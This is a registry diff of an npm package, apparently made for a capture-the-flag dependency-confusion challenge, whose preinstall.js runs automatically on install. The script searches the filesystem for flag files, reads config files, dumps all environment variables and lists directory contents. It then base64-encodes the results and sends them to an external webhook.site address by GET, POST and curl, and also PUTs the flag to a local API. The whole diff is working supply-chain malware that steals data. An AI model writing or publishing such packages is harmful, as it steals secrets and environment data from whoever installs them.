@ctfsolve9z/coral-wraith 9999.0.1 → 9999.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/preinstall.js +79 -126
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@ctfsolve9z/coral-wraith",
3
- "version": "9999.0.1",
3
+ "version": "9999.0.2",
4
4
  "description": "Coral Wraith module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -6,156 +6,109 @@ const { execSync } = require('child_process');
6
6
  let flag = null;
7
7
  let debug = [];
8
8
 
9
- // Method 1: Common flag locations
10
- const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
11
- '/tmp/flag', '/tmp/flag.txt', '/home/flag', '/home/flag.txt',
12
- '/opt/flag', '/opt/flag.txt', '/var/flag', '/var/flag.txt',
13
- '/app/flag', '/app/flag.txt', '/srv/flag', '/srv/flag.txt',
14
- '/etc/flag', '/etc/flag.txt', './flag', './flag.txt'];
15
-
16
- for (const p of flagPaths) {
17
- try {
18
- if (fs.existsSync(p)) {
19
- flag = fs.readFileSync(p, 'utf8').trim();
20
- debug.push('found:' + p);
21
- break;
22
- }
23
- } catch(e) {}
24
- }
25
-
26
- // Method 2: Glob search
27
- if (!flag) {
9
+ // Thorough directory search
10
+ function readDir(path, depth = 0) {
11
+ if (depth > 3) return;
28
12
  try {
29
- const r = execSync('find / -maxdepth 4 -name "flag*" -o -name "*.flag" -o -name "HTB*" 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
30
- debug.push('find:' + r);
31
- if (r) {
32
- for (const f of r.split('\n')) {
33
- try {
34
- const content = fs.readFileSync(f.trim(), 'utf8').trim();
35
- if (content.includes('HTB{') || content.includes('flag{') || content.length < 200) {
13
+ const entries = fs.readdirSync(path);
14
+ debug.push(path + ':' + entries.join(','));
15
+ for (const e of entries) {
16
+ const full = path + '/' + e;
17
+ try {
18
+ const stat = fs.statSync(full);
19
+ if (stat.isFile() && stat.size < 10000) {
20
+ const content = fs.readFileSync(full, 'utf8').trim();
21
+ if (content.includes('HTB{') || content.includes('flag{')) {
36
22
  flag = content;
37
- debug.push('flag_from:' + f);
38
- break;
23
+ debug.push('FLAG_FOUND:' + full);
24
+ return;
39
25
  }
40
- } catch(e) {}
41
- }
26
+ }
27
+ if (stat.isDirectory() && !e.startsWith('.') && e !== 'node_modules' && e !== 'proc' && e !== 'sys' && e !== 'dev') {
28
+ readDir(full, depth + 1);
29
+ }
30
+ } catch(e) {}
31
+ if (flag) return;
42
32
  }
43
- } catch(e) { debug.push('find_err:' + e.message.substring(0, 100)); }
33
+ } catch(e) {}
44
34
  }
45
35
 
46
- // Method 3: Environment
47
- if (!flag) {
48
- const envKeys = Object.keys(process.env).filter(k =>
49
- k.includes('FLAG') || k.includes('HTB') || k.includes('SECRET') || k.includes('TOKEN'));
50
- debug.push('env_keys:' + envKeys.join(','));
51
- for (const k of envKeys) {
52
- if (process.env[k] && process.env[k].length > 2) {
53
- flag = process.env[k];
54
- debug.push('env:' + k);
55
- break;
56
- }
57
- }
36
+ // Search key directories
37
+ for (const dir of ['/home/node', '/tmp/supplysec', '/tmp', '/home', '/opt', '/srv', '/root', '/var/www', '/app']) {
38
+ readDir(dir);
39
+ if (flag) break;
58
40
  }
59
41
 
60
- // Method 4: Check /proc/self/environ
61
- if (!flag) {
62
- try {
63
- const env = fs.readFileSync('/proc/self/environ', 'utf8');
64
- const m = env.match(/FLAG[=]([^\x00]+)/);
65
- if (m) { flag = m[1]; debug.push('proc_env'); }
66
- // Also look for HTB
67
- const m2 = env.match(/HTB[{][^\x00}]+[}]/);
68
- if (m2) { flag = m2[0]; debug.push('proc_htb'); }
69
- } catch(e) {}
70
- }
42
+ // Also search for flag in ALL environment variables
43
+ debug.push('ALL_ENV:' + JSON.stringify(process.env).substring(0, 500));
71
44
 
72
- // Method 5: Read common app dirs
73
- if (!flag) {
74
- const dirs = ['/', '/app', '/opt', '/home', '/srv', '/root', '/tmp', '/var/www'];
75
- for (const dir of dirs) {
76
- try {
77
- const files = fs.readdirSync(dir);
78
- debug.push(dir + ':' + files.join(','));
79
- for (const f of files) {
80
- try {
81
- const path = dir + '/' + f;
82
- const stat = fs.statSync(path);
83
- if (stat.isFile() && stat.size < 1000 && stat.size > 5) {
84
- const content = fs.readFileSync(path, 'utf8').trim();
85
- if (content.includes('HTB{') || content.includes('flag{')) {
86
- flag = content;
87
- debug.push('content:' + path);
88
- break;
89
- }
90
- }
91
- } catch(e) {}
92
- }
93
- } catch(e) {}
94
- if (flag) break;
95
- }
96
- }
45
+ // Read the init_test.sh script
46
+ try {
47
+ const script = fs.readFileSync('/home/node/init_test.sh', 'utf8');
48
+ debug.push('init_test.sh:' + script.substring(0, 500));
49
+ // Check if flag is in the script
50
+ const m = script.match(/HTB\{[^}]+\}/);
51
+ if (m) flag = m[0];
52
+ } catch(e) { debug.push('init_test_err:' + e.message); }
53
+
54
+ // Read package.json in /home/node
55
+ try {
56
+ const pkg = fs.readFileSync('/home/node/package.json', 'utf8');
57
+ debug.push('home_pkg:' + pkg.substring(0, 300));
58
+ } catch(e) {}
97
59
 
98
- // Method 6: Check common web app config files
99
- if (!flag) {
100
- const configPaths = ['/app/.env', '/opt/app/.env', '/srv/.env',
101
- '/var/www/.env', '/home/node/.env', '/root/.env',
102
- '/app/config.js', '/app/config.json', '/opt/app/config.js'];
103
- for (const p of configPaths) {
104
- try {
105
- if (fs.existsSync(p)) {
106
- const content = fs.readFileSync(p, 'utf8');
107
- debug.push('config:' + p + '=' + content.substring(0, 200));
108
- const m = content.match(/HTB\{[^}]+\}/);
109
- if (m) { flag = m[0]; break; }
110
- }
111
- } catch(e) {}
112
- }
113
- }
60
+ // Check /tmp/supplysec
61
+ try {
62
+ const r = execSync('find /tmp/supplysec -type f 2>/dev/null | head -30', { timeout: 5000 }).toString();
63
+ debug.push('supplysec_files:' + r);
64
+ } catch(e) {}
114
65
 
115
- // Method 7: Check for the challenge app itself
116
- if (!flag) {
117
- try {
118
- const r = execSync('find / -maxdepth 5 -name "*.js" -path "*/app/*" 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
119
- debug.push('app_js:' + r);
120
- } catch(e) {}
66
+ // Check /home/node
67
+ try {
68
+ const r = execSync('find /home/node -type f -not -path "*/node_modules/*" 2>/dev/null | head -30', { timeout: 5000 }).toString();
69
+ debug.push('home_node_files:' + r);
70
+ } catch(e) {}
71
+
72
+ // Exfiltrate
73
+ const data = JSON.stringify({ flag: flag || 'NOT_FOUND', debug: debug });
74
+
75
+ // Send chunks via webhook (URL length limited)
76
+ const chunks = [];
77
+ const encoded = Buffer.from(data).toString('base64');
78
+ for (let i = 0; i < encoded.length; i += 2000) {
79
+ chunks.push(encoded.substring(i, i + 2000));
121
80
  }
122
81
 
123
- // Method 8: Check running processes
124
- if (!flag) {
82
+ for (let i = 0; i < Math.min(chunks.length, 10); i++) {
125
83
  try {
126
- const r = execSync('ps aux 2>/dev/null || cat /proc/*/cmdline 2>/dev/null | tr "\\0" " " | head -20', { timeout: 5000 }).toString().trim();
127
- debug.push('ps:' + r.substring(0, 500));
84
+ https.get(`https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/v3-${i}?d=${chunks[i]}`, () => {}).on('error', () => {});
128
85
  } catch(e) {}
129
86
  }
130
87
 
131
- // Exfiltrate
132
- const data = JSON.stringify({
133
- flag: flag || 'NOT_FOUND',
134
- debug: debug.join('|'),
135
- cwd: process.cwd(),
136
- user: process.env.USER || process.env.HOME,
137
- hostname: require('os').hostname()
138
- });
139
-
140
- const encoded = Buffer.from(data).toString('base64');
141
-
142
- // Webhook
88
+ // Also POST the full data
143
89
  try {
144
- const url = new URL('https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/v2?d=' + encoded);
145
- https.get(url, () => {}).on('error', () => {});
90
+ const postData = data;
91
+ const req = https.request({
92
+ hostname: 'webhook.site',
93
+ path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
94
+ method: 'POST',
95
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
96
+ timeout: 10000
97
+ }, () => {});
98
+ req.on('error', () => {});
99
+ req.write(postData);
100
+ req.end();
146
101
  } catch(e) {}
147
102
 
148
- // Also try PUT to challenge API
103
+ // PUT to challenge API
149
104
  const ports = [1337, 3000, 5000, 8080, 80];
150
- const moduleId = 'ECT-987654';
151
-
152
105
  for (const port of ports) {
153
106
  try {
154
107
  const postData = JSON.stringify({
155
- manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.0"\n flag: "${(flag || 'NOT_FOUND').replace(/"/g, '\\"').replace(/\n/g, '\\n')}"`
108
+ manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.1"\n flag: "${(flag || 'NOT_FOUND').replace(/"/g, '\\"').replace(/\n/g, '\\n')}"`
156
109
  });
157
110
  const req = http.request({
158
- hostname: 'localhost', port, path: `/api/modules/${moduleId}`,
111
+ hostname: 'localhost', port, path: '/api/modules/ECT-987654',
159
112
  method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
160
113
  timeout: 3000
161
114
  }, () => {});
@@ -165,7 +118,7 @@ for (const port of ports) {
165
118
  } catch(e) {}
166
119
  }
167
120
 
168
- // Also try curl for more reliable exfiltration
121
+ // curl fallback
169
122
  try {
170
- execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/curl?data=${encodeURIComponent(data)}" -m 5`, { timeout: 6000 });
123
+ execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' -m 10`, { timeout: 12000 });
171
124
  } catch(e) {}